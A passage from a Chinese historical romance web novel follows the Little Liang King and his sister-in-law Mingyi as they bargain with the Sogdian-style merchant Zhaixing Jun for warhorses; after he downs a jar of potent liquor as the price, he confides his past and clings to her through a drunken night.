吴刺史道:“王爷有所不知,但摘星君是个胡人,摘星楼的买卖,很多都是些见不得光的,所以不做公门生意。” 李赟蹙眉:“既是见不得光的,又不做公门生意,你这刺史怎么不把摘星楼端了?” 吴刺史道:“他的主顾都是沙州乃至整个河西和西域诸国的达官贵人,在敦煌经营已经二十多年,关系盘根错节,只要没杀人放火,我也实在不好多管。” 李赟倒是没继续纠结这事,敦煌地处边境,难免鱼龙混杂,有些事确实宜疏不宜堵。 这时明宜插话道:“阿兄,如果这个摘星君当真有这么大本事,我们还是得试一试。” 吴刺史伸出一只手:“我已经登门过五次,都没谈成。” 李赟默了片刻:“你帮我去发个拜帖,我亲自去见他一趟。” “好嘞,臣这就去办。” 吴刺史一退下,李赟便挥手让旁边伺候的小厮仆妇也都退下,膳堂内再次只剩他与明宜两人。 如今明宜对于和他孤男寡女相处已经习惯。 反正躲也躲不掉,自己心安理得便好。 李赟又给她用小刀切下一块炙羊肉,一边放在她面前的盘中一边道:“三娘认为北狄什么时候会打过来?” 明宜夹起羊肉送入口中,想了想道:“如今已经入冬,水草枯竭,若要长途奔袭,人马损耗巨大,突涅小可汗再迫不及待,也定会过了这个冬天,等来年春暖花开,水草丰茂之时。” 李赟点点头:“那最快便是四月了,我们还有半年时间做准备。” 明宜想到什么似的问:“你打算请求朝廷粮草支援吗?” 李赟扯了下嘴角:“早已写过,我那皇帝舅舅沉迷修道,这些事全都由枢密使处理,指靠那阉人给这边调配粮草,只怕是不能够。” 明宜想到长安城中的歌舞升平夜夜笙歌,再想到这些时日在河西所见所闻,心中不由愤懑。 李赟看她颦眉的模样,轻笑道:“不过你不用担心,河西这些年屯田,不打仗时将士也都没闲着,加上每年的税粮,自给自足差不多已经足够,仓库也有存粮,若真打起来,粮草消耗定会增加,田地只怕也会被破坏,以防万一,待这次回凉州,我会从蜀中购买一些粮草运过来。” 明宜笑着点点头,小凉王果然将这片苦寒之地经营得很好。 她想了想又问道:“我听说朝廷虽然减免了河西赋税,但也没给你们军饷,你们够么?” 这些日子下来,她也看出来了,李赟作为一个王爷,生活堪称俭朴,只怕是钱库不丰。 李赟道:“若北狄南侵,各州大族会捐输。”说着,他勾起嘴角,“怎的?三娘担心我没钱?” 明宜道:“阿玉将钱财都留给了我,我嫁妆里也有几间铺子,盈利尚可,若是阿兄需要,我也可以捐输。” 李赟低笑出声:“比起你的钱,我还是更需要你的人。” 明宜脸色微变,还没反驳,只听他又道:“我的意思是,需要你做我的谋士。” “阿兄袭爵六年,以一己之力便将河西治理得井井有条,有没有我显然不重要。” 李赟撩起眼皮看向她,稍稍正色:“外人看我小凉王在河西只手遮天,但你也瞧见了,实则我日日如履薄冰。河西不像长安多人才,不说旁的,就楚飞这样的,大字不识几个,已是我心腹大将。” 明宜失笑:“楚飞怎么了?他一来忠心耿耿二来武艺高强,你交代他说的事,哪桩没做好?” 李赟确实摇头:“不够的,我更需要的是三娘这样能出谋划策的人。” 明宜道:“河西卧虎藏龙,光是沙洲流民中,都不知道多少厉害人物,阿兄若有心招贤纳士,不怕无人可用。” “有才能还要信得过才行,流民中自然不乏有本事之人,但来历复杂,有几个能真正信得过?就说沙狼,确实有本事,但他是什么人?我到现在都还不知。” 明宜轻咳一声:“反正他不是什么大奸大恶之徒,阿兄可放心用,当然,前提你得让他心甘情愿。” “你这般维护此人,我倒是真对他来了兴趣。” 明宜失笑,想了想话锋一转道:“等招兵募马完成,阿兄便要回凉州吧?” “嗯,天冷了,总不能让你陪我留在这苦寒过冬,且我也要回去处理凉州军务,准备半年后的大战。” 明宜暗暗舒了口气,作为大宁百姓,尤其是长安贵女,他既敬佩也感激小凉王苦守河西,她愿意倾尽家财助他。 但也仅此而已。 凉王妃之位,多少女子心向往之,但她却绝无此意。 她不动声色瞧了眼李赟。 等帮他在此完成招兵募马,回了凉州,她便启程回长安。 他总不能强行将自己留下。 只是想到要回长安,她心中忽然就莫名有些怅然。 以往觉得自己能独立门户,在高门大宅过自己的自由小日子,便已足以。 如今却似乎有些不满足了。 “对了。”李赟想到什么似的,又开口,“今晚你陪我一起去摘星楼。” “好。”明宜点头,“我也听人说过那摘星君,乃是沙州第一居间商,只有你想不到的,没有他买不到的,定有办法帮忙弄来几千战马。”顿了下,又补充一句,“就怕他不买小凉王的账。” 李赟随口道:“软的不行便来硬的。” 明宜失笑:“他不帮忙,难不成你还能刀架他脖子逼他?” “未尝不可。” 明宜想了想道:“我倒是觉得阿兄见了人,态度要放软一点,千万别摆你小凉王的架子。” “在三娘眼中,我就这么不分是非好歹?” 明宜轻咳一声:“那到没有。” 用过膳,明宜回房昏天黑地睡了一觉,再醒来便已是月上柳梢。 她想起今晚还要去陪李赟去摘星楼,赶紧爬起来,又随口问白芷:“王爷那边差人来叫我了吗?” “没有。”白芷摇头。 明宜刚松了口气,便听到外面传来楚飞的声音:“二夫人,您睡醒了吗?” 还挺及时。 “醒了,我这就来,让王爷稍等。” “好嘞,您不用急。” 这话只怕是李赟交代的,旁的也就算了,今晚这是正事,李赟不敢耽搁,换上衣裳便出了门。 李赟已候在院中,身穿一身绛紫圆领长袍,革带束出一截腰身。 地上积雪已被清扫干净,但屋顶上仍旧积着厚厚一层白雪,皑皑白光与檐下红灯交汇,衬得那院中人颇有几分玉树临风般的谪仙之姿。 不得不承认,小凉王确实很有几分姿色。 明宜轻咳一声走过去道:“阿兄怎么在外面等?不怕冷么?” 李赟道:“还好。” 说着打量她一眼,见她披着自己给她的那件狐裘斗篷,嘴角微微弯了弯。 不怪明宜依旧套上这件斗篷,实在是降温太快,她又才回敦煌城内,还没来得及添置更厚的衣裳。 两人上了马车,明宜道:“我听说摘星君极少亲自见客,他这是接了你的拜帖?” “嗯。”李赟点头。 明宜笑:“小凉王果然还是有排面。” 李赟道:“毕竟沙州是我的地盘,他一个长袖善舞的商人,就算不做我的生意,也断然不敢得罪我。” “这倒是。” 摘星楼乃是一栋两层砖瓦小楼。 敦煌没有宵禁,此时的摘星楼正是顾客盈门之时,李赟拿了帖子给小厮,对方忙领着两人进屋上楼:“贵人上面请,我们已经在雅间候着。” 明宜一边走一边好奇打量着灯火通明的大堂,只见各式各样的多宝阁上,摆放着琳琅满目的奇珍异宝,还有几只铁笼中关着几只奇鸟异兽,许多连她都闻所未闻。 客人们无一不咂舌惊叹。 可见这摘星君确实有点本事。 “老板,贵人来了!” 小厮推开门,朝里面行了个礼,又对着身旁两人拱手做了个有请的手势。 李赟施施然迈进门。 原本坐在案几后的人,忙起身笑容可掬地迎上来,拱手作揖道:“草民见过王爷!” 此人穿着一身白色圆领长袍,头戴金发冠,乃是寻常男子打扮,但分明是个胡人女子。 且因保养得宜,不太看得出年龄。 明宜暗暗讶异,摘星君竟是女子。 可见这沙洲与长安大不相同—— 作者有话说:走点剧情,写太多男人,搞点女的写写 第67章 第 66 章 摘星君 李赟也有些意外, 他明明记得几年前第一次听到,说摘星君是男子,怎么变成了女人? 摘星君见两人脸色怔然, 一边拱手相请, 一边笑容可掬地说道:“这摘星楼乃是我父亲所创,他老人家四年前过世, 这摘星楼的生意便由我接手, 我也就成了新一代摘星君。” 三人入座后,李赟勾了下嘴角, 笑道:“我听闻这几年摘星楼的生意做得愈发红火, 看来真是青出于蓝而胜于蓝。娘子这新一代摘星君, 比起您父亲有过之无不及, 真是巾帼不让须眉。” 明宜不动声色地瞅了他一眼,只见他面带微笑, 语气彬彬有礼, 倒确实像个来诚心谈生意的样子。 摘星君亲自为两人斟上茶水,笑道:“在下久闻小凉王大名,今日一见, 果然名不虚传。有生之年能一睹小凉王风采, 乃是在下的荣幸。” 李赟笑了笑:“都是些坊间传言罢了, 能喝上摘星君亲手斟的茶,才是本王的荣幸。” 往日里,李赟断然是不会与人这般互相吹捧的,可见他也是个能屈能伸之人, 并非一味高高在上。 这倒也不奇怪,若非如此,他也不会这般纠缠自己。 想着, 她默默打量着这位摘星君:高鼻深目,眼眸呈碧绿色,不算太年轻,应当已过而立之年,有几分女相男气,却并不影响她的容貌,反倒添了一股飒爽之姿。 当然,这都不重要,重要的是,她总觉得对方瞧着有些眼熟。 也正是她的打量,让摘星君的目光从李赟身上移到了她的身上。 “这位娘子是?” 虽说明宜身着男装,也尚未开口,摘星君却一眼便看出她是女子。她既然能坐镇这座摘星楼,自然消息灵通,小凉王未婚且不近女色一事,她不可能不知晓。 见他身旁跟着一个女子,自然有些诧异。 不过她很快反应过来,拱手道:“想必这位娘子便是西平侯夫人吧?” 小凉王此番来沙洲,还带着弟妹一事,早已传到了她耳中。 明宜笑着回礼:“叫我三娘子便好。” 摘星君意味深长地打量了她一眼,很快便收回目光,朝李赟举起茶杯,呷了一口茶,长叹一声:“小凉王殿下日理万机,在下也不便耽误您的时间,我便开门见山了——殿下此番想要的东西,摘星楼实在办不到。” 李赟早已料到她会这般说,他也不急躁,只不紧不慢地笑道:“摘星楼宣称,只要是这世间存在之物,便能为客人寻来。区区五千匹战马,对摘星楼来说,应当不算难事吧?” 摘星君道:“西域擅养马之人众多,五千匹战马确实不算难事。但王爷要在开春之前凑齐这么多,那便实在没有可能了。如今天寒地冻,别说集齐这么多马匹,即便集齐了,也无法从西域赶过来。” 李赟闻言,眉头微微蹙起。她说的自然不假,天寒地冻之际,要将五千匹战马从西域运入河西,且不说马儿能否经受住酷寒,沿路的粮草该如何解决?又需要多少人力专门负责运输? 一个摘星楼,恐怕确实办不到。 可若是摘星楼都办不到,其他人就更无可能了。 他微微偏头,不动声色地看了明宜一眼。 明宜察觉到他的视线,微不可察地点了点头。 两人相处虽说才两个月,李赟却几乎立刻明白了她的意思——这笔生意还有谈成的机会。 于是他笑了笑,说道:“摘星君说的这些,本王也都考虑过。要在冬日从西域收马、运马过来,确实不易,但并非没有可能。大宁也好,北狄也罢,都曾在冬日西征过,那可是上万骑兵。可见只要准备充分,这事也并非做不到。摘星君只需负责购马,运输之事我会派兵协助,至于钱财、粮草,我也都会一应准备妥当。”说着,他又补充了一句,“本王购买战马,也是为了不让沙洲被北狄侵犯,让沙洲百姓能继续安居乐业,摘星君也能安稳做生意。” 摘星君却不以为然地笑了笑:“在下自然不愿看到沙洲燃起战事,但我终究是个生意人,不管谁掌控沙洲,我的生意都能照常做。” 李赟的脸色微微一沉。 这摘星君本就是西域人,沙洲在谁手中,于她而言并无不同,她的生意确实可以照旧。这里既不是她的家,也不是她的国,她自然没有义务为河西军出力。 小凉王终究耐心有限,说到这里,他也不愿再强装笑意,微微眯起眼睛道:“这么说,摘星君是无论如何都不肯接本王这单生意了?” 摘星君拱了拱手,脸上堆着客套的笑容:“实在是在下有心无力,还望殿下海涵。” 就在这时,一直沉默不语的明宜忽然开口:“摘星君是大宛人吧?” 摘星君闻言微微一怔:“三娘子这话从何而来?” 明宜笑道:“大宛人擅行商,河西一带的大宛商人并不算稀奇。” “这倒是实话。”摘星君笑着点了点头。 明宜又道:“摘星君能寻到各种珍稀之物,想来也少不了大宛商人们的相助吧。” 摘星君继续点头:“确实如此,出门在外,同族之间相互扶持,乃是人之常情。” 明宜笑了笑,说道:“摘星楼能在沙洲屹立二十年,恐怕不止是靠大宛商人互相帮助那么简单,而是他们愿意为摘星楼肝脑涂地吧。” 摘星君脸上的笑容渐渐收敛,绿色的眸子微微蹙起,皮笑肉不笑地问道:“娘子这话是什么意思?” 明宜笑道:“如果我没猜错,摘星君应当是大宛皇族之人。” 这一次,摘星君脸上的笑容彻底僵住了,片刻后才勉强笑道:“我是不是大宛皇族,并不影响我做不了小凉王这单生意。” 明宜从腰间的荷包中取出一枚小符牌,放在案几上。还未等她开口,摘星君已然脸色大变:“你怎么会有我们大宛王室的符牌?” 明宜笑道:“这是你们大宛兰斯小王子所赠。他赠我符牌时说过,若是有要事需要大宛人帮忙,拿出这块符牌便可。不知这枚符牌,能不能让摘星君再给我们一次机会?” 摘星君拿起案几上的符牌,疑惑地看向明宜:“这符牌只有王室王子才有,每人且只有一枚。三娘子与兰斯是什么关系,他竟会将符牌赠给你?” 她说这话时,李赟也酸溜溜地朝明宜看了过去。 兰斯小王子离开时那恋恋不舍的模样,他至今记忆犹新。 明宜轻描淡写地说道:“哦,我算是救过他一命。”说着,她又反问,“不知摘星君与兰斯是什么关系?” 摘星君沉默了片刻,忽然笑了:“我是兰斯的堂姐。” 果然如此。 摘星君深吸了一口气,说道:“大宛人见此符牌,有求必应。既然三娘子拿出了这符牌,这笔生意确实可以再谈。不过……”说到这里,她顿了顿,又看向李赟,“要让摘星楼接下这桩本就难以办到的生意,客人除了支付钱财,还得付出点别的东西。” 李赟道:“阁下请讲。” 摘星君起身,从身后墙上的多宝阁中取出一坛酒:“这是我们摘星楼的秘制好酒,客人若是能喝完这一坛,还能清醒地从摘星楼走出去,这单生意我们便接下。” 李赟笑了:“这有何难?” 摘星君道:“我知晓小凉王千杯不醉,不过这酒可不是市面上那些寻常烈酒,它有个名字,叫‘三步倒’。” 李赟豪爽地接过酒坛:“行,我喝!” 摘星君看着他,脸上露出一丝似笑非笑的神情。 明宜则满脸忧心忡忡地朝他看了过去—— 作者有话说:存稿没了,又赶上一些其他事,还有生理期,最重要是冒出一个新脑洞,挤占脑子,我都服了。 争取明天恢复正常。 第68章 第 67 章 只是我无法爱你,至少现…… 这三步倒, 她还真听说过,据说是这天底下至烈之酒,寻常人喝两口便会立刻醉得不省人事, 而酒量好的人, 至多半坛,也定会烂醉如泥, 更有甚者, 发疯送命都不是没可能。 除了那次中秋,见到李赟纵饮过一回, 明宜便只见他偶尔小酌, 至于酒量如何, 她并无把握。 见他刚打开酒坛泥封, 一股浓烈的酒香味便扑鼻而来,光是闻一闻, 她便有些眩晕, 忍不住抬手攥住对方手腕,担忧地低唤一声:“阿兄……” 李赟目光先是落在腕间那只素手上,然后抬眸看向她, 轻轻摇了摇头。 不论他是李赟还是小凉王, 进了这摘星楼, 便是寻常主顾,要求人接这笔生意,便得遵循别人的规矩。 他曾经身中数箭,流了几斤血, 最终不也挺过来了? 一坛酒而已,他就不信,挺不过摘星楼这几步路。 见他举起酒坛便要昂头灌下, 摘星君笑着提醒道:“小凉王殿下,您可想好了,这一坛酒灌下去,你要么当即不省人事,要么大发酒疯,甚至会危及性命,但无论发生什么事,我们摘星楼都概不负责。而且只要不是自己清醒着走出摘星楼,咱们这笔生意便只能就此作罢。” 李赟轻笑了笑,道:“只要我喝下这坛酒,清醒着走出摘星楼,那不管这笔生意多难,摘星君你都得接下。当然钱财粮草人力,该我出的我一样不会少,摘星君只要给我募集足够的马匹便可。” “王爷大可放心!”摘星君握着手中符牌,看了眼忧心忡忡的明宜,笑说,“侯夫人的大宛符牌,加上小凉王手中这坛酒,我就算做不到,也会拼尽全力一试,” “好!”李赟不再犹豫,举起酒坛,仰头一口气咕咚咕咚灌下。 随着他喉头的滑动,浓郁的酒香弥漫来开,整座屋子都像是泡在烈酒之中。 明宜滴酒未沾,却也开始微醺。 至于李赟,在第一口酒入喉时,那辛辣滋味便直冲天灵盖,灼烧感瞬间蔓延至五脏六腑,这酒劲儿远超他预料,几乎只是须臾间,脑子便开始有些混沌。 他暗暗蓄力,运起丹田之气,努力让自己保持清醒。 一旁的明宜看得心头揪紧,从李赟腕上收回的手,紧紧攥紧拳头,一错不错地盯着男人那张渐渐泛红的脸。 三步倒的酒,与其说是酒,更像是穿肠毒药。别这生意还没做成,小凉王先吃出个好歹来。 李赟喝得很快,不过几大口,便将整整一坛烈酒饮了个精光,他将酒坛倒扣在桌上,重重舒了口气,朗声笑道:“好酒!” “好!”摘星君拍拍手,做了个有请的手势:“阿让,送客!” 方才那小厮忙走进屋内拱手道:“贵人有请!” 腹中烈酒已然化为火海,从五脏六腑乱窜到四肢百骸,更是冲到脑中,搅得李赟原本清醒的大脑,混乱一片,各种情绪交织在一起,像是要将他炸开。 他知道自己支撑不了多久了,也不逞强停留,站起身一甩衣袖,看了眼明宜,便转身阔步往外走。 明宜赶紧跟上。 李赟走得很快,几乎是小跑着下楼。 但走到大厅时,脚步还是开始变得虚浮,视线也影影绰绰。 “贵人怎么样?” 李赟摆摆手,再次提起丹田之气将酒劲压下去,保持着最后一丝清醒,继续往外走。 一言不发跟在他身后的明宜,望着那道高大的身影,从原本的步履坚定,渐渐有些歪歪扭扭,但身体依旧挺拔。 直到看到他彻底跨过摘星楼的门槛,她才重重松了口气。 小凉王意志力果然非同寻常,竟是硬生生撑了下来。 然而这念头刚落下,她便见李赟忽然往地上栽去。 明宜眼疾手快,三步并作两步上前,一把抱住对方的腰,用力将人扶住。 “阿兄,你怎么样?”她忧心忡忡问道。 李赟不说话,只微微转身,将头靠在她肩膀上,全身的重量也都压了上来。 他这么大个子,明宜险些支撑不住。 好在在楼下等候的楚飞及时跑过来,将人接了过去,哎呦一声道:“怎么这么大酒味?王爷这是喝了多少?” “一坛。” “王爷酒量很好的,一坛就这样了?” “是一坛三步倒。” “三步倒?”楚飞显然听过这酒,顿时大惊失色,“那得赶紧回去喝解酒汤,一坛三步倒可是能要人命的。” 他赶紧拖着李赟上马车,然而李赟人是被他架着,手却不知何时紧紧攥住明宜手腕,怎么都不松开。 明宜只能亦步亦趋跟着。 一阵兵荒马乱后,两人终于都是上了车。而烂醉如泥的李赟根本也坐不稳,只能是躺在车厢,偏偏手依旧抓着明宜。 明宜也没强行挣开,只坐在他身旁,忧心忡忡照看着他,小小的车厢,充斥着浓烈的酒气,她都被熏得有些发热,更别提灌了整整一坛酒的李赟。 “阿兄,你怎么样?是不是很难受?”她借着帘子缝隙透进来一点夜灯微光,看向双目紧阖的李赟,低声问道。 李赟没说话,只是呢喃般哼了一声,握着她的手忽然一用力。 明宜猝不及防,被他猛地拽进怀中,整张脸都扑在他胸口。 她正要坐起来,却被李赟紧紧抱住。 男人略带着痛苦的低哑声在她耳边响起:“三娘,我难受,你让我抱一会儿……” 明宜知他定然难受,却不知他是否还清醒,便也没动,只又问道:“阿兄,你怎么样?” “我难受……”李赟依旧是这句话。 明宜问:“哪里难受?可是要吐?” “不要。”李赟轻轻摇头,声音越发痛苦,“但是好难受……” 这痛苦中已然带了几分脆弱。 明宜哪敢乱动,只觉得他醉态与旁人不大相同,便继续问:“阿兄,你哪里难受,头痛吗?要不要我帮你揉揉?” “哪里都难受。”这回他的声音里竟是然带了点哭腔。 明宜心中大惊,这可是小凉王啊,怎么醉酒还哭了? 她悄悄伸手在他脸上摸了摸,还真让她摸到一点水渍。 这是有多难受…… 想到堂堂小凉王为了五千匹战马,喝下那等烈酒,成了这般模样,她竟对他生出几分怜惜之情。 “阿兄,你忍忍,等回去喝了醒酒汤就好了。” 李赟紧紧抱着她,哑声絮絮叨叨道:“这世上之人,不是恨我,就怕我,连我母亲也是。只是因为八岁那年,我提着一个北狄细作头颅,去父亲跟前邀功,那细作杀了十几个无辜百姓,是我发现他的踪迹,带人去击杀了他,那人本就该死,我也并无本事杀他,只是提着他的首级去见父亲,哪知正好被母亲撞见,将她吓得大病一场,觉得自己的儿子是个冷血无情的怪物,她病好后,为了让我悔过,将我关在密闭的小黑屋中三天三夜。那三天三夜我什么都看不见,也分不清白天黑夜,直到第三天荣叔发觉我惊厥了,才被放出来。但我也并未怪过母亲,她却从此对我避而远之。” 明宜恍然大悟,原来李赟的怪疾来自于此。 惠心公主心慈和善,又被保护得太好,嫁入凉王府,在凉州十八年,却似乎并不懂边境的残酷。 或许也是懂的,只是不能接受自己的亲生儿子太残忍。 她从前寥寥几次提起长子,都只是说他比其父亲更适合做这个凉王,从不提作为儿子如何。 而她显然并不懂李赟——他的儿子,并不是只有残忍的一面。 就像此时,看似是酒后抱怨,但分明是在想念母亲。 明宜下意识轻轻摸了摸他的头,柔声道:“阿兄,我不恨你也不怕你。” “嗯,只有三娘你不恨我,也不怕我,可你……为什么也不爱我?” 明宜微微一怔,本想顺着他的话,说一两句好听的安抚一下他。 但有些话到底是没法说出口。 没有得到回应的李赟,嗔怨道:“三娘,你除了阿玉,到底中意什么样的男子?肯定不是秦七郎,是沙狼么?那流民之首确有些本事,是个顶天立地的豪侠,你中意他也正常。不过他那样的人,浪荡惯了,给不了你安稳生活。” 明宜噗嗤一笑:“我只是欣赏沙狼,对他并无半点男女之情。” 李赟吃吃笑道:“当真?” “自然是真的。” “那兰斯小王子呢?我还以为他送你的只是普通符牌,没想到竟然是将象征身份的唯一符牌。你们才认识多久?三娘,你说你是不是太招人了些?” 明宜:“……” 冤枉啊! 李赟继续道:“你在长安时,有京城双姝之称,那时是不是天天都有小郎君跟在你身后献殷勤?” 明宜好笑道:“哪有那么夸张!我都很少出门。” 李赟道:“但是他们会借口去你家不是么?” 这倒是不假。 “他们去他们的,我又不会见他们。” “若是我在长安长大,我定然也天天找借口去你家,偷偷看你。” 明宜被他逗笑:“那你还是小凉王么?” “若是我能去长安,那便不是小凉王了,可惜我生来就是小凉王,注定无法去长安生活。” 明宜一时默然。 是啊,他生来便是小凉王,生来便被与这块土地牢牢绑定。 看似权倾一方,实则身不由己。 正想着,只听李赟又呢喃似的问:“长安那么多公子王孙,你为何独独独中意阿玉?” 明宜如实道:“因为阿玉性情温和,没有半点花花肠子,而且什么都听我的。” “那我也都听你的,我也没有花花肠子。但是性情……”李赟似乎是有些纠结,“我毕竟是小凉王,只能在你面前温和,有旁人的话还是要摆出架势的。” 明宜顺着他的话笑问:“所以你平日的凶狠,都是故意摆出的架势?” 李赟默了片刻:“那倒也不是。” 明宜在黑暗中望着他良久,才低声道:“阿兄,我知道你是个很好的人。” 只是我无法爱你。 至少现在是—— 作者有话说:小凉王另一面哈哈哈,明天继续脆脆弱弱 女主就喜欢脆脆弱弱 第69章 第 68 章 食色性也 马车进不了府中, 为了不引起人注意,楚飞机智地将车停在了靠近官舍的角门。 在帘子被掀开之前,明宜终于费力从李赟臂弯中挣开。 “二夫人, 王爷怎么样了?”楚飞大喇喇打起帘子, 凑进来往里瞧,又连连叹道, “哎呦喂, 这酒味真浓,我光是闻一闻就要醉了。” 有哒哒马蹄遮掩, 楚飞是不知里面发生了何事, 也只有明宜听了一路李赟的絮絮叨叨。 听得她心情复杂, 她轻咳一声, 好整以暇道:“王爷身子很烫,人也不大清醒, 得赶紧喂他醒酒汤了。” “嗯。”楚飞钻进来将烂醉如泥的男人扛起, 偏偏李赟醉酒归醉酒,却在下车时,十分精准地再次将明宜一把拽住:“三娘, 你别走……” “我没走。” 明宜这会儿也不好扭扭捏捏, 只想着人千万别出事, 没性命之虞,要是脑子坏了也是个大麻烦。 尤其是北狄南侵就在眼前,说句难听的,长安金銮殿的皇帝出事都不打紧, 但小凉王要是出事,大宁便岌岌可危。 她任由李赟滚烫的手攥着自己,亦步亦趋跟在楚飞身后。 李赟身形高大, 刚刚她趴在他胸口,隔着厚厚几层衣裳,都能感觉到他身上结实的肌肉。 可见分量实在不轻。 幸而楚飞不缺力气,扛着人健步如飞回到了官舍。 他将人放在榻上,又点燃小几上的油灯,目光落在两只交握的手上,轻咳一声道:“夫人,还麻烦你照看着王爷,我去给他弄醒酒汤。” “嗯,你去吧,我在这里看着。” 她一心在李赟身上,没留意楚飞暗搓搓称呼她“夫人”,而不是先前的“二夫人”。 门咯吱一声阖上。 原本消停了一阵的李赟,猛地坐起身,唤道:“三娘……” 明宜吓了一跳:“我在呢!” 李赟转头,阖着的双眸,勉强睁开半条眼缝,深灰色的眸子,早已变成迷离的红色。 他含含糊糊哦了一声,又噗通一声倒在榻上。 明宜光是听着都觉得疼,但男人却是浑然不觉。 可见这酒确实厉害得很。 好在李赟的酒品并不差,喝了这等烈酒,也未曾失控发狂。 小凉王若是失控,那场面她都不敢想象,他带来的几十个凉王亲兵,都不知能不能控制住他。 当然…… 她目光落在对方抓着自己的那只手上,要是别一直攥着自己就好了。 他见他呼吸平稳,只偶尔一两句呓语,总体来说还算正常,便试探着将手抽出来。 哪知刚刚用力,对方忽然像是被惊到一样,猛地将她一拽,别说是抽出自己的手,整个人再次被他拽进怀中,两只手臂牢牢将她抱住。 “三娘……”男人哑声开口,“你别走了,就留在凉州陪我一起,等我将北狄驱逐,我们夏天去大马营骑马,冬天在永安园赏梅,你我一起努力,让凉州城变得更繁华富庶,吸引更多东西商客。” 他声音温和,简直有几分撒娇的味道。 明宜有些想笑,却又对他的话,莫名心动。 李赟口中描述的生活,竟然让她生出几分向往。 “三娘,你就留下来陪我吧。”李赟喃喃般道,“我一个人太寂寞了。” 明宜失笑:“凉王府那么多人,小凉王还寂寞?” 李赟道:“那些人都怕我。” 明宜:“你别让他们怕不就得了。” “他们也不懂我。” “我也不懂你。” “你懂的。” 明宜听他语气声音与平日不同,但说话条理却又清晰,不禁有些狐疑,勉强从他手臂中抬起头,借着油灯光芒看向他:“阿兄,你当真醉了么?” “醉?我怎么会醉?”李赟含含糊糊道,“什么三步倒,那都是唬人的,别说是一坛,就是三坛也不在话下。” 好吧,确实是醉了。 “夫人,醒酒汤来了。” 不多时,楚飞便风风火火推门而入。 哪知一进门,便瞧见明宜趴在李赟胸口,确切地说,是被他家王爷双手箍住。 王爷这算不算借酒占夫人便宜? 他轻咳一声,讪讪笑道:“夫人,王爷这是喝醉了,您别跟他一般计较?” “嗯,无妨。”明宜大方回应,勉强挣脱开,将李赟哄着扶起来,“阿兄,喝醒酒汤了。” 李赟不情不愿坐起身,像是没长骨头一般,软软靠在明宜肩膀,眼睛没睁,嘴巴倒是配合地微微开启。 “苦……”哪知刚就着楚飞的手喝了一口,便歪过头不再配合。 “加了点药草,定然是有些苦味的,王爷你干嚼黄连都没事,这点苦怎么吃不了了?” 李赟嘟囔道“不喝。” 楚飞还要劝说,明宜伸手道:“给我吧,我来喂。” 楚飞顿时一喜,将汤碗递给她,笑盈盈道:“那就有劳夫人照顾王爷了,我就在外面,夫人有事叫我便好。” “嗯。”明宜点头,“你去帮我跟白芷说一声,免得她担心。” 照李赟今晚这模样,自己定是走不开了。 “好嘞。” 楚飞喜滋滋退了出去,只留两人在屋内。 “阿兄,你不是难受么?快将醒酒汤喝了,好好睡上一觉。” “我要喝甜的。” 明宜嘴角抽搐了下,这小凉王喝醉了酒,怎么跟秦七郎一样,也爱吃甜的了。 好巧不巧,她荷包里便装了一块糖,想着,便从荷包摸出来,直接送到对方嘴边:“那阿兄吃了这块糖,便把汤都喝了。” 李赟虽然闭着眼睛,但显然闻到了糖的香甜味,他顺着香味,将嘴唇贴到明宜手指,然后张开嘴,伸出灼热的舌头,将糖和手指一并卷入口中。 指间传来的湿热,让明宜心头猛得一跳。 她下意识就要将手拿开,却被对方半咬着紧紧含住。 倒也不疼,只是一时不敢用力去抽。 “阿兄,你松开……” 李赟松开了牙齿,舌头卷着糖块,从她2手指缓缓舔过,那灼热濡湿的触感,让明宜浑身一阵酥麻,脸颊瞬间红了个透。 “吃糖就吃糖,怎么连人手都吃啊!”她忍不住低声嗔道。 也顾不得手上残留的湿意,赶紧端起汤碗送到对方嘴边:“赶紧把解酒汤喝了。” 这回李赟倒是配合,张开嘴咕咚咕咚将一碗温热的汤水喝了个精光,然后长长舒了口气,也并躺下,只继续靠在明宜肩头,仿佛这是个再舒服不过的姿势。 他是舒服了,明宜却是扛不住这么重一个人。 将碗放在小几上后,又赶紧安抚道:“阿兄,你躺下睡吧。” 李赟嘟哝道:“那你不许走。” “我不走。” 男人总算是老老实实躺下,但手很快便像是长了眼睛一般,准确无误将明宜的手握住。 明宜无奈地叹息一声。 这三步倒应是让人难受得很,所以他需要依靠点什么,而自己显然就是他醉酒后唯一的依靠。 她没再尝试挣脱,只是这手方才让他舔过,此时被他握在手中,让那残留的濡湿灼热也被困住。 脸颊的热意还没褪去,心中又升起一股说不上来的旖旎。 她目光落在男人酡红面颊,虽然闭着眼睛,但依旧能看出这张脸的俊美。 尤其是那张刚刚舔过她手指的嘴唇,还带着一点湿润,比平日要红上几分,更显出几分姝艳丽之色。 明宜脑子里竟然冒出一句“秀色可餐。 她的心忽然开始跳得很快。 食色性也,女人也不例外。 就在她有些心猿意马时,李赟忽然开口:“三娘,你知道我第一次见你是何时么?” 明宜一愣:“不是我来凉州第三天么?在阿玉棺椁旁。” “不是。”李赟闭着眼睛摇头,“我第一次见你,是在阿玉寄来的画中。” 明宜想起这事儿,她与李悆成婚时,对方请了画师给两人画了像,说是要寄给凉州的阿兄。 思及此,她笑了笑道:“画像和我本人又不一样。” “我却觉得差不多,只是真人比画像更好看。” 明宜微微一怔,下意识轻咳一声:“阿兄谬赞了。” “从前阿玉总在信中提起你,后来看到他寄来的画像,我就想,我要是阿玉就好了。” 明宜闻言叹了口气:“你要是阿玉,已经躺在地底下。” “我的阿弟,才活了二十年。阿兄都没能见到他长大的样子。”说完这句,李赟忽然失声恸哭起来。 明宜吓了一跳,先前阿玉下葬,他也没哭过,这会儿却忽然哭起来。 这三步倒确实有些厉害,竟是让小凉王变得如此脆弱不堪。 她见他哭得实在伤心,赶紧拍着他的胸口哄道:“阿玉一直很为你这个兄长骄傲,他要回到凉州下葬,便是觉得在凉州,会有你这个阿兄守护,你们兄弟也算是团聚了。” 李赟抽噎道:“多谢三娘将阿玉送回来。” 明宜道:“这是我该做的。” 李赟又道:“也多谢阿玉将三娘带来我身边。” 明宜:“……” 怎么又来了。 罢了,醉酒的人,她便随他说吧。 她伸手用袖子拭了拭对方脸上的泪水,因为哭了一阵,眼皮也愈发泛红。 冷峻威严的小凉王,竟是有了几分楚楚可怜之态。 明宜看着,忽然忍不住低低笑出声。 也不知酒醒后,对方还能记得几分?—— 作者有话说:妈呀今天拖到这会儿 明天争取调整过来 第70章 第 69 章 一丝从未有过的悸动 醉酒的李赟话格外多, 每每明宜以为他已经睡着,他忽然又蹦出两句。 光自己说还不打紧,非要明宜回应, 没得到回应便一直重复问。 一开始明宜还配合哄着他, 但随着夜色渐深,加上浸在酒气中这么久, 她脑子也开始昏昏沉沉, 